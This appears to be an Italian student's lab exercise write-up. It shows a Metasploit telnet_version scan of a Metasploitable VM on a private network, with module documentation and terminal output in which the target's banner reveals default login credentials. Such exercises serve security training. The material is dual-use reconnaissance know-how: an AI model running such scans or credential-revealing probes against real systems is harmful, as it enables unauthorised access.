

Claudio De cicco  
6/12/2022

## Msfconsole telnet\_version

In questo esercizio andremo ad attaccare la vulnerabilità relativa a Telnet. Per prima cosa vado a cambiare gli ip delle macchine come richiesto.

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:f0:63:36
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fef0:6336/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:52 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:4004 (3.9 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 192.168.1.25  netmask 255.255.255.0  broadcast 192.168.1.255
    ether 08:00:27:22:46:4f  txqueuelen 1000  (Ethernet)
    RX packets 177  bytes 22656 (22.1 KiB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 217  bytes 136408 (133.2 KiB)
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
```

A questo punto avvio **msfconsole** e vado a ricercare il modulo **telnet\_version** e lo vado ad aggiungere con "use 1"

```
msf6 > search auxiliary telnet_version

Matching Modules
=====
#  Name
-  -
0  auxiliary/scanner/telnet/lantronix_telnet_version
   Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version
   Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version
```

Con `info -d` vado a vedere tutte le info complete del modulo, mi verra aperta una pagina nel browser con tutte le info.

View the full module info with the `info -d` command.

```
msf6 auxiliary(scanner/telnet/telnet_version) > info -d
[*] Generating documentation for telnet_version, then opening /tmp/telnet_version_doc20221206-13085-n7h200.h
tml in a browser ...
msf6 auxiliary(scanner/telnet/telnet_version) > Missing chrome or resource URL: resource://gre/modules/Updat
eListener.jsm
Missing chrome or resource URL: resource://gre/modules/UpdateListener.sys.mjs
Missing chrome or resource URL: resource://gre/modules/UpdateListener.js
```

## Description

This module will scan a range of machines and prints the banner, usually containing the version of any telnet servers that are running on it.

## Verification Steps

1. Do: `use auxiliary/scanner/telnet/telnet_version`
2. Do: `set RHOSTS [IP]`
3. Do: `set THREADS [number of threads]`
4. Do: `run`

## Scenarios

```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 1.1.1.0/24
RHOSTS => 1.1.1.0/24
msf auxiliary(scanner/telnet/telnet_version) > set THREADS 254
THREADS => 254
msf auxiliary(scanner/telnet/telnet_version) > run

[*] 1.1.1.2:23 TELNET (GSM7224) \x0aUser:
[*] 1.1.1.56:23 TELNET Ubuntu 8.04\x0ametasploitable login:
[*] 1.1.1.116:23 TELNET Welcome to GoodTech Systems Telnet Server for Windows NT/2000/XP
(Evaluation Copy)\x0a\x0a(C) Copyright 1996-2002 GoodTech Systems, Inc.\x0a\x0a\x0aLogin
username:
[*] Scanned 254 of 256 hosts (099% complete)
[*] Scanned 255 of 256 hosts (099% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_version) >
```

Con show options vado a vedere le opzioni del modulo, quindi vado ad inserire l'ip di meta nella sezione RHOST.

```
msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                     |
|----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                         |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                           |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                             |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                    |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                 |



View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.1.40
rhost => 192.168.1.40
```

Nelle opzioni del modulo non è presente la sezione del payload quindi vado a fare una ricerca dei payloads e ne scelgo uno. Come avevo immaginato non essendoci una sezione payloads, in questo modulo non possono essere inseriti payload.

```
76 exploit/unix/http/ptrsense_diag_routes_websHELL 2022-02-23 excellent Yes ptrSense
Diag Routes Web Shell Upload
77 exploit/multi/http/v0pcr3w_exec 2013-03-23 great Yes v0pCr3w
Web Shell Remote Code Execution

Interact with a module by name or index. For example info 77, use 77 or use exploit/multi/http/v0pcr3w_exec

msf6 auxiliary(scanner/telnet/telnet_version) > set payload 15
[-] Unknown datastore option: payload.
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Dopo aver settato tutto faccio partire l'exploit ricevendo come risultato le credenziali di login di metasploitable.

```
msf6 auxiliary(scanner/telnet/telnet_version) > run

[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
login with msfadmin/msfadmin to get started
[+] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```